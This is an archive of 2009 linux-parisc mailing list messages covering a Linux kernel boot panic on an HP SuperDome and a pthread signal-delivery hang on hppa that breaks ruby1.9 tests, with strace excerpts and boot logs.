Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LXPaS-00061W-3e
	for glpp-linux-parisc@gmane.org; Thu, 12 Feb 2009 01:37:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752359AbZBLAg3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 11 Feb 2009 19:36:29 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754158AbZBLAg3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 11 Feb 2009 19:36:29 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:34375 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752359AbZBLAg3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 11 Feb 2009 19:36:29 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LXPZ6-0007sR-CX; Thu, 12 Feb 2009 00:36:28 +0000
Content-Disposition: inline
In-Reply-To: <20090207142906.GA8553@alpha.franken.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1279
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1279>

> Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
> serial 0000:00:00.0: enabling device (0146 -> 0147)
> 0000:00:00.0: ttyS0 at MMIO 0xfffffff000000000 (irq = 65) is a 16550A
> console handover: boot [ttyB0] -> real [ttyS0]
> 0000:00:00.0: ttyS1 at MMIO 0xfffffff000000008 (irq = 65) is a 16550A
> 0000:00:00.0: ttyS2 at MMIO 0xfffffff000000010 (irq = 65) is a 16550A
> brd: module loaded
> loop: module loaded
> Linux Tulip driver version 1.1.15 (Feb 27, 2007)
> tulip0: no phy info, aborting mtable build
> tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
> eth0: Digital DS21142/43 Tulip rev 65 at Port 0x80, 00:30:6e:0e:b2:5f,

Can you try with CONFIG_GSC turned off? irq 65 *shouldn't* be occuring
there, nor should it be occuring period since with CONFIG_GSC set it's
the IPI irq...
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:03:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [RFC] pthread/signal problems on hppa (ruby1.9 problems)
Date: Fri, 13 Feb 2009 01:43:37 +0100
Lines: 90
Approved: news@gmane.org
Message-ID: <4994C239.8010009@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1234485831 30561 80.91.229.12 (13 Feb 2009 00:43:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 13 Feb 2009 00:43:51 +0000 (UTC)
Cc: Lucas Nussbaum <lucas@lucas-nussbaum.net>
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Carlos O'Donell <carlos@systemhalted.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	dann frazier <dannf@dannf.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 13 01:45:05 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LXmAz-0001uD-3M
	for glpp-linux-parisc@gmane.org; Fri, 13 Feb 2009 01:45:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753746AbZBMAnm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 12 Feb 2009 19:43:42 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758441AbZBMAnm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 12 Feb 2009 19:43:42 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:43804 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753746AbZBMAnl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 12 Feb 2009 19:43:41 -0500
Original-Received: (qmail invoked by alias); 13 Feb 2009 00:43:39 -0000
Original-Received: from mnhm-590f7e73.pool.einsundeins.de (EHLO halden.box) [89.15.126.115]
  by mail.gmx.net (mp063) with SMTP; 13 Feb 2009 01:43:39 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+jNmhCls+jQlreDemMVBtDjrQiNK0+R6LEzkLoPR
	0ySEDPY5UKU/rI
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.43
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1281
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1281>

As you know we sometimes still see problems with signal handling with
multithreaded programs on hppa.
Up to now the assumption was, that signals were delivered to wrong threads/processes, which I now think is wrong.

We see exactly this kind of signal/threading problems while running the testcase when building the ruby1.9 package.
The test "test_thread.rb" will just hang.
If you want to reproduce the problem it's easy. Just get ruby1.9 source, run dpkg-buildpackage 
and you see it will hang while running the test_thread.rb testcase.

I asked Lucas if he could reduce the testcase, and his testcase is below. Just save this ruby program
as "rubytest.rb" and run it with ruby1.9, e.g. "ruby1.9 testcase.rb":
<----->
#!/usr/bin/ruby1.9
out = IO.popen("ruby1.9 -e 'STDERR.reopen(STDOUT)' -e 'at_exit{Process.kill(:INT, $$); loop{}}'") {|f| f.read }
<----->

The strace files for hppa and i386 are downloadable here: (The i386 version succeeds/finishes, while hppa hangs)
http://userweb.kernel.org/~deller/ruby1.9.bug/output.hppa.log
http://userweb.kernel.org/~deller/ruby1.9.bug/output.i386.log

This is what I think (somewhat simplified) happens:
a) The program starts, sets signal handlers (in this case for SIGINT).
b) The program calls clone().
c) The child thread unblocks SIGINT delivery.
d) The parent thread blocks SIGINT delivery.
e) The parent thread sends itself the SIGINT signal, aka kill(parent_pid, SIGINT)
f) Since parent thread blocked SIGINT signals to itself, this will now happen:
	- on i386: The child thread receives the signal (instead of the parent thread) and stops program execution successfully.
	- on hppa: Neither child nor parent threads receives the signal, both will just hang.

This is the example with i386:
rt_sigaction(SIGINT, {0x8048555, [], SA_SIGINFO}, {SIG_DFL}, 8) = 0
clone(Process 30263 attached (waiting for parent)
Process 30263 resumed (parent 30262 ready)
child_stack=0x804b904, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM) = 30263
[pid 30263] rt_sigprocmask(SIG_UNBLOCK, [INT], [], 8) = 0
[pid 30262] rt_sigprocmask(SIG_BLOCK, [INT], [], 8) = 0
[pid 30262] getpid()                    = 30262
[pid 30262] kill(30262, SIGINT)         = 0
[pid 30263] --- SIGINT (Interrupt) @ 0 (0) ---
[pid 30263] exit_group(1)               = ?
<sucessfully finished>

and here with hppa:
rt_sigaction(SIGINT, {0x8048555, [], SA_SIGINFO}, {SIG_DFL}, 8) = 0
clone(Process 30272 attached (waiting for parent)
Process 30272 resumed (parent 30271 ready)
child_stack=0x804b904, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_SYSVSEM) = 30272
[pid 30272] rt_sigprocmask(SIG_UNBLOCK, [INT], [], 8) = 0
[pid 30271] rt_sigprocmask(SIG_BLOCK, [INT], [], 8) = 0
[pid 30271] getpid()                    = 30271
[pid 30271] kill(30271, SIGINT)         = 0
<no SIGINT is delivered, child and parent just hang>

The main question is now, why i386 and hppa differs in how they behave on signal delivery, or 
rephrased: why does i386 receives the SIGINT while hppa doesn't ?

My debugging seem to indicate that the only reason is due to the CLONE_THREAD flag in clone().
ruby1.9 on hppa does _not_ set this flag, while ruby1.9 on i386 does.

I wrote a small hacked-up test program, which is available here:
http://userweb.kernel.org/~deller/ruby1.9.bug/signal.c
With this test program I can reproduce the same (wrong) behaviour on i386 as I see on hppa.
Just change the "#if 0" to "#if 1" to switch between with/without CLONE_THREAD.

Since the clone() syscall in ruby is probably invoked by pthread_create(), I hacked together
this linuxthreads-patch for glibc: http://userweb.kernel.org/~deller/ruby1.9.bug/local-linuxthreads-CLONE_THREAD.diff
It's probably wrong though...(!!)

This information about CLONE_THREAD in the clone() manpage is pretty interesting and describes
what I was seeing:
              If kill(2) is used to send a signal to a thread  group,  and  the  thread  group  has
              installed  a handler for the signal, then the handler will be invoked in exactly one,
              arbitrarily selected member of the thread group that has not blocked the signal.   If
              multiple  threads  in  a  group  are waiting to accept the same signal using sigwait-
              info(2), the kernel will arbitrarily select one of these threads to receive a  signal
              sent using kill(2).
So, the behavior on i386 (which uses CLONE_THREAD) seems to be correct and on hppa, since we don't use
CLONE_THREAD, we behave correctly as well, just sadly not as the ruby1.9 author would have expected when
using pthread_create() and sending the own thread a signal...

Maybe we just need to add CLONE_THREAD to hppa/linuxthreads as well?
Your ideas/opinions?

Regards, Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC] pthread/signal problems on hppa (ruby1.9 problems)
Date: Fri, 13 Feb 2009 11:35:16 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <20090213163516.GB4559@bombadil.infradead.org>
References: <4994C239.8010009@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1234542948 29413 80.91.229.12 (13 Feb 2009 16:35:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 13 Feb 2009 16:35:48 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	Carlos O'Donell <carlos@systemhalted.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	dann frazier <dannf@dannf.org>,
	Lucas Nussbaum <lucas@lucas-nussbaum.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 13 17:37:02 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LY11v-0004Ww-F7
	for glpp-linux-parisc@gmane.org; Fri, 13 Feb 2009 17:36:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752702AbZBMQfU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 13 Feb 2009 11:35:20 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752872AbZBMQfU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 13 Feb 2009 11:35:20 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:33686 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752702AbZBMQfT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 13 Feb 2009 11:35:19 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LY10W-0000Yb-Fy; Fri, 13 Feb 2009 16:35:16 +0000
Content-Disposition: inline
In-Reply-To: <4994C239.8010009@gmx.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1282
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1282>

On Fri, Feb 13, 2009 at 01:43:37AM +0100, Helge Deller wrote:
> child_stack=0x804b904, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM) = 30263

> and here with hppa:
> child_stack=0x804b904, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_SYSVSEM) = 30272

Somewhat preturbed by this. This appears to be the flags set by the
respective nptl and linuxthreads code paths. I thought Dann Frazier
said that NPTL hadn't helped? Perhaps we still have bugs in our NPTL
code... :/

(See CLONE_SIGNAL in nptl/$mumble.c, versus the annotate of the file
 you've patched in linuxthreads...)

Would be curious to see what happens on linuxthreads-i386...
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tsbogend@alpha.franken.de (Thomas Bogendoerfer)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Hacking SuperDome
Date: Fri, 13 Feb 2009 21:46:21 +0100
Lines: 448
Approved: news@gmane.org
Message-ID: <20090213204621.GA5226@alpha.franken.de>
References: <20090207142906.GA8553@alpha.franken.de> <20090212003628.GA9042@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1234558027 18142 80.91.229.12 (13 Feb 2009 20:47:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 13 Feb 2009 20:47:07 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 13 21:48:21 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LY4x7-0007ko-Li
	for glpp-linux-parisc@gmane.org; Fri, 13 Feb 2009 21:48:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752546AbZBMUqi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 13 Feb 2009 15:46:38 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752632AbZBMUqi
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 13 Feb 2009 15:46:38 -0500
Original-Received: from elvis.franken.de ([193.175.24.41]:51820 "EHLO elvis.franken.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752546AbZBMUqh (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 13 Feb 2009 15:46:37 -0500
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1LY4vi-0004s3-00; Fri, 13 Feb 2009 21:46:34 +0100
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id 6CF4A1DA328; Fri, 13 Feb 2009 21:46:21 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20090212003628.GA9042@bombadil.infradead.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1283
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1283>

On Wed, Feb 11, 2009 at 07:36:28PM -0500, Kyle McMartin wrote:
> [...]

I've disabled GSC and applied the iosapic debug patch. Below
are the boot logs of both partitions.

28 CPU partition:

Linux version 2.6.29-rc3-00000-g33bfad5-dirty (tsbogend@login) (gcc
version 4.2.1) #59 Fri Feb 13 21:31:17 CET 2009
unwind_init: start = 0x404718c0, end = 0x4049da80, entries = 11292
WARNING: Out of order unwind entry! 00000000404733d0 and
00000000404733e0
WARNING: Out of order unwind entry! 00000000404733e0 and
00000000404733f0
FP[0] enabled: Rev 1 Model 19
The 64-bit Kernel has started...
console [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: 64 bit PAT.
model 00005e70 00000491 00000000 00000002 3e0f97abec371bc2 00000000
00000008 000000b2 000000b2
vers  00000202
CPUID vers 19 rev 1 (0x00000261)
capabilities 0x3d
model 9000/800/SD32000
parisc_cache_init: Only equivalent aliasing supported!
Memory Ranges:
 0) Start 0x0000000000000000 End 0x00000007ffffffff Size  32768 MB
 1) Start 0x0000000800000000 End 0x00000009ffffffff Size   8192 MB
 2) Start 0x0000000a00000000 End 0x0000000bffffffff Size   8192 MB
 3) Start 0x0000000c00000000 End 0x0000000df7ffffff Size   8064 MB
Total Memory: 57216 MB
Built 4 zonelists in Zone order, mobility grouping on.  Total pages:
14447040
Kernel command line: HOME=/ ip=dhcp console=ttyS0 TERM=vt102
palo_kernel=0/vmlinux
PID hash table entries: 4096 (order: 12, 32768 bytes)
Dentry cache hash table entries: 8388608 (order: 14, 67108864 bytes)
Inode-cache hash table entries: 4194304 (order: 13, 33554432 bytes)
Memory: 57567828k/58589184k available (2850k kernel code, 1019292k
reserved, 1413k data, 164k init)
virtual kernel memory layout:
    vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
    memory  : 0x0000000040000000 - 0x0000000e38000000   (57216 MB)
      .init : 0x00000000405cc000 - 0x00000000405f5000   ( 164 kB)
      .data : 0x00000000403c8828 - 0x000000004052a000   (1413 kB)
      .text : 0x0000000040100000 - 0x00000000403c8828   (2850 kB)
Calibrating delay loop... 1495.04 BogoMIPS (lpj=2990080)
Security Framework initialized
Mount-cache hash table entries: 256
net_namespace: 544 bytes
NET: Registered protocol family 16
Searching for devices...
Two devices have hardware path [255].  IODC data for second device:
00404e0000abRearranging GSC cards sometimes helps
Two devices have hardware path [255].  IODC data for second device:
00404e0000abRearranging GSC cards sometimes helps
Found devices:
1. Caribe DNA Central Agent at 0xfffffffffc000000 [255] { 14, 0x0,
0x007, 0x000aa }
2. Caribe W2 800 at 0xfffffffffc078000 [10] { 0, 0x0, 0x5e7, 0x00004 }
3. Caribe W2 800 at 0xfffffffffc07a000 [11] { 0, 0x0, 0x5e7, 0x00004 }
4. Caribe W2 800 at 0xfffffffffc07c000 [12] { 0, 0x0, 0x5e7, 0x00004 }
5. Caribe W2 800 at 0xfffffffffc07e000 [13] { 0, 0x0, 0x5e7, 0x00004 }
6. Memory at 0xfffffffffc005000 [5] { 1, 0x0, 0x0a8, 0x00009 }
7. REO I/O BC Merced Port at 0xfffffff808000000 [0] { 7, 0x0, 0x804,
0x0000c }
8. Elroy PCI Bridge at 0xfffffff804000000 [0/0] { 13, 0x0, 0x782,
0x0000a }
9. Elroy PCI Bridge at 0xfffffff804002000 [0/1] { 13, 0x0, 0x782,
0x0000a }
10. Elroy PCI Bridge at 0xfffffff804004000 [0/2] { 13, 0x0, 0x782,
0x0000a }
11. Elroy PCI Bridge at 0xfffffff804006000 [0/3] { 13, 0x0, 0x782,
0x0000a }
12. Elroy PCI Bridge at 0xfffffff804008000 [0/4] { 13, 0x0, 0x782,
0x0000a }
13. Elroy PCI Bridge at 0xfffffff80400c000 [0/6] { 13, 0x0, 0x782,
0x0000a }
14. Elroy PCI Bridge at 0xfffffff804010000 [0/8] { 13, 0x0, 0x782,
0x0000a }
15. Elroy PCI Bridge at 0xfffffff804012000 [0/9] { 13, 0x0, 0x782,
0x0000a }
16. Elroy PCI Bridge at 0xfffffff804014000 [0/10] { 13, 0x0, 0x782,
0x0000a }
17. Elroy PCI Bridge at 0xfffffff804016000 [0/11] { 13, 0x0, 0x782,
0x0000a }
18. Elroy PCI Bridge at 0xfffffff804018000 [0/12] { 13, 0x0, 0x782,
0x0000a }
19. Elroy PCI Bridge at 0xfffffff80401c000 [0/14] { 13, 0x0, 0x782,
0x0000a }
CONFIG_SMP=n  ignoring additional CPUs
CPU: probe of 11 failed with error 1
CONFIG_SMP=n  ignoring additional CPUs
CPU: probe of 12 failed with error 1
CONFIG_SMP=n  ignoring additional CPUs
CPU: probe of 13 failed with error 1
CPU(s): 1 x PA8700 (PCX-W2) at 750.000000 MHz
Setting cache flush threshold to 180000 (1 CPUs online)
iosapic_init()
calling get_irt_size (cell 0)
get_irt_size: 0
pdc_pat_get_irt: 0
iosapic Interrupt Routing Table (cell 0)
iosapic start = 0x000000083fc8c800 num_entries 46 entry_size 16
iosapic 8b 10 00 0f 00 00 00 00 fffffff804000800
iosapic 8b 10 00 0f 04 00 00 00 fffffff804000800
iosapic 8b 10 00 0f 00 08 00 00 fffffff804002800
iosapic 8b 10 00 0f 01 08 00 01 fffffff804002800
iosapic 8b 10 00 0f 02 08 00 02 fffffff804002800
iosapic 8b 10 00 0f 03 08 00 03 fffffff804002800
iosapic 8b 10 00 0f 00 10 00 00 fffffff804004800
iosapic 8b 10 00 0f 01 10 00 01 fffffff804004800
iosapic 8b 10 00 0f 02 10 00 02 fffffff804004800
iosapic 8b 10 00 0f 03 10 00 03 fffffff804004800
iosapic 8b 10 00 0f 00 18 00 00 fffffff804006800
iosapic 8b 10 00 0f 01 18 00 01 fffffff804006800
iosapic 8b 10 00 0f 02 18 00 02 fffffff804006800
iosapic 8b 10 00 0f 03 18 00 03 fffffff804006800
iosapic 8b 10 00 0f 00 20 00 00 fffffff804008800
iosapic 8b 10 00 0f 01 20 00 01 fffffff804008800
iosapic 8b 10 00 0f 02 20 00 02 fffffff804008800
iosapic 8b 10 00 0f 03 20 00 03 fffffff804008800
iosapic 8b 10 00 0f 00 30 00 00 fffffff80400c800
iosapic 8b 10 00 0f 01 30 00 01 fffffff80400c800
iosapic 8b 10 00 0f 02 30 00 02 fffffff80400c800
iosapic 8b 10 00 0f 03 30 00 03 fffffff80400c800
iosapic 8b 10 00 0f 00 40 00 00 fffffff804010800
iosapic 8b 10 00 0f 01 40 00 01 fffffff804010800
iosapic 8b 10 00 0f 02 40 00 02 fffffff804010800
iosapic 8b 10 00 0f 03 40 00 03 fffffff804010800
iosapic 8b 10 00 0f 00 48 00 00 fffffff804012800
iosapic 8b 10 00 0f 01 48 00 01 fffffff804012800
iosapic 8b 10 00 0f 02 48 00 02 fffffff804012800
iosapic 8b 10 00 0f 03 48 00 03 fffffff804012800
iosapic 8b 10 00 0f 00 50 00 00 fffffff804014800
iosapic 8b 10 00 0f 01 50 00 01 fffffff804014800
iosapic 8b 10 00 0f 02 50 00 02 fffffff804014800
iosapic 8b 10 00 0f 03 50 00 03 fffffff804014800
iosapic 8b 10 00 0f 00 58 00 00 fffffff804016800
iosapic 8b 10 00 0f 01 58 00 01 fffffff804016800
iosapic 8b 10 00 0f 02 58 00 02 fffffff804016800
iosapic 8b 10 00 0f 03 58 00 03 fffffff804016800
iosapic 8b 10 00 0f 00 60 00 00 fffffff804018800
iosapic 8b 10 00 0f 01 60 00 01 fffffff804018800
iosapic 8b 10 00 0f 02 60 00 02 fffffff804018800
iosapic 8b 10 00 0f 03 60 00 03 fffffff804018800
iosapic 8b 10 00 0f 00 70 00 00 fffffff80401c800
iosapic 8b 10 00 0f 01 70 00 01 fffffff80401c800
iosapic 8b 10 00 0f 02 70 00 02 fffffff80401c800
iosapic 8b 10 00 0f 03 70 00 03 fffffff80401c800
SBA found REO rev 2 at 0xfffffff808000000
Elroy version TR4.0 (0x5) found at 0xfffffff804000000
Backtrace:
 [<00000000402b406c>] lba_fixup_bus+0x36c/0x3d8
 [<00000000401208dc>] pcibios_fixup_bus+0x2c/0x50
 [<000000004010d45c>] pci_scan_child_bus+0x64/0xf0
 [<000000004010d518>] pci_scan_bus_parented+0x30/0x48
 [<00000000405e1f50>] lba_driver_probe+0x950/0xa40
 [<00000000405e1f50>] lba_driver_probe+0x950/0xa40
 [<00000000405e1f50>] lba_driver_probe+0x950/0xa40
 [<00000000405e1f50>] lba_driver_probe+0x950/0xa40
 [<00000000405e1f50>] lba_driver_probe+0x950/0xa40
 [<00000000405e1f50>] lba_driver_probe+0x950/0xa40
 [<00000000405e1f50>] lba_driver_probe+0x950/0xa40
 [<00000000405e1f50>] lba_driver_probe+0x950/0xa40
 [<00000000405e1f50>] lba_driver_probe+0x950/0xa40
 [<00000000405e1f50>] lba_driver_probe+0x950/0xa40
 [<00000000405e1f50>] lba_driver_probe+0x950/0xa40
 [<00000000405e1f50>] lba_driver_probe+0x950/0xa40


Kernel Fault: Code=26 regs=000000083fc42cf0 (Addr=0000000000000028)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001111 Not tainted
r00-03  000000ff0804ff0f 00000000405c7f00 00000000402b154c
000000083fc1b188
r04-07  00000000405b9700 000000083fc1c400 000000083fc1b000
0000000000000007
r08-11  000000083fc8c028 000000083fc088c0 0000000000000000
000000083fc1c558
r12-15  000000083fc1c568 000000083fc1c578 0000000040510f10
000000083fc1c548
r16-19  000000083fc1c490 00000000405bcf00 000000083fc1c4c8
0000000000000000
r20-23  0000000000044048 0000000000000040 0000000000000003
0000000000000001
r24-27  0000000000000000 0000000000000010 00000000405606f4
00000000405b9700
r28-31  0000000000000000 000000083fc1c400 000000083fc42cf0
0000000000000001
sr00-03  0000000000000000 0000000000000000 0000000000000000
0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000
0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000402b155c
00000000402b1560
 IIR: 53990050    ISR: 0000000000000000  IOR: 0000000000000028
 CPU:        0   CR30: 000000083fc40000 CR31: f7fc7fe9ffe3ffe7
 ORIG_R28: 000000004013d598
 IAOQ[0]: iosapic_fixup_irq+0xd4/0x448
 IAOQ[1]: iosapic_fixup_irq+0xd8/0x448
 RP(r2): iosapic_fixup_irq+0xc4/0x448
Backtrace:
 [<00000000402b406c>] lba_fixup_bus+0x36c/0x3d8
 [<00000000401208dc>] pcibios_fixup_bus+0x2c/0x50
 [<000000004010d45c>] pci_scan_child_bus+0x64/0xf0
 [<000000004010d518>] pci_scan_bus_parented+0x30/0x48
 [<00000000405e1f50>] lba_driver_probe+0x950/0xa40
 [<00000000405e1f50>] lba_driver_probe+0x950/0xa40
 [<00000000405e1f50>] lba_driver_probe+0x950/0xa40
 [<00000000405e1f50>] lba_driver_probe+0x950/0xa40
 [<00000000405e1f50>] lba_driver_probe+0x950/0xa40
 [<00000000405e1f50>] lba_driver_probe+0x950/0xa40
 [<00000000405e1f50>] lba_driver_probe+0x950/0xa40
 [<00000000405e1f50>] lba_driver_probe+0x950/0xa40
 [<00000000405e1f50>] lba_driver_probe+0x950/0xa40
 [<00000000405e1f50>] lba_driver_probe+0x950/0xa40
 [<00000000405e1f50>] lba_driver_probe+0x950/0xa40
 [<00000000405e1f50>] lba_driver_probe+0x950/0xa40

Kernel panic - not syncing: Kernel Fault


4 CPU partition (one CPU is faulty and disabled):

Linux version 2.6.29-rc3-00000-g33bfad5-dirty (tsbogend@login) (gcc
version 4.2.1) #59 Fri Feb 13 21:31:17 CET 2009
unwind_init: start = 0x404718c0, end = 0x4049da80, entries = 11292
WARNING: Out of order unwind entry! 00000000404733d0 and
00000000404733e0
WARNING: Out of order unwind entry! 00000000404733e0 and
00000000404733f0
FP[0] enabled: Rev 1 Model 19
The 64-bit Kernel has started...
console [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: 64 bit PAT.
model 00005e70 00000491 00000000 00000002 3e0f97abec371bc2 00000000
00000008 000000b2 000000b2
vers  00000202
CPUID vers 19 rev 1 (0x00000261)
capabilities 0x3d
model 9000/800/SD32000
parisc_cache_init: Only equivalent aliasing supported!
Total Memory: 8184 MB
Built 1 zonelists in Zone order, mobility grouping on.  Total pages:
2066460
Kernel command line: HOME=/ ip=dhcp console=ttyS0 TERM=vt102
palo_kernel=0/vmlinux
PID hash table entries: 4096 (order: 12, 32768 bytes)
Dentry cache hash table entries: 1048576 (order: 11, 8388608 bytes)
Inode-cache hash table entries: 524288 (order: 10, 4194304 bytes)
Memory: 8231424k/8380416k available (2850k kernel code, 148464k
reserved, 1413k data, 164k init)
virtual kernel memory layout:
    vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
    memory  : 0x0000000040000000 - 0x000000023f800000   (8184 MB)
      .init : 0x00000000405cc000 - 0x00000000405f5000   ( 164 kB)
      .data : 0x00000000403c8828 - 0x000000004052a000   (1413 kB)
      .text : 0x0000000040100000 - 0x00000000403c8828   (2850 kB)
Calibrating delay loop... 1495.04 BogoMIPS (lpj=2990080)
Security Framework initialized
Mount-cache hash table entries: 256
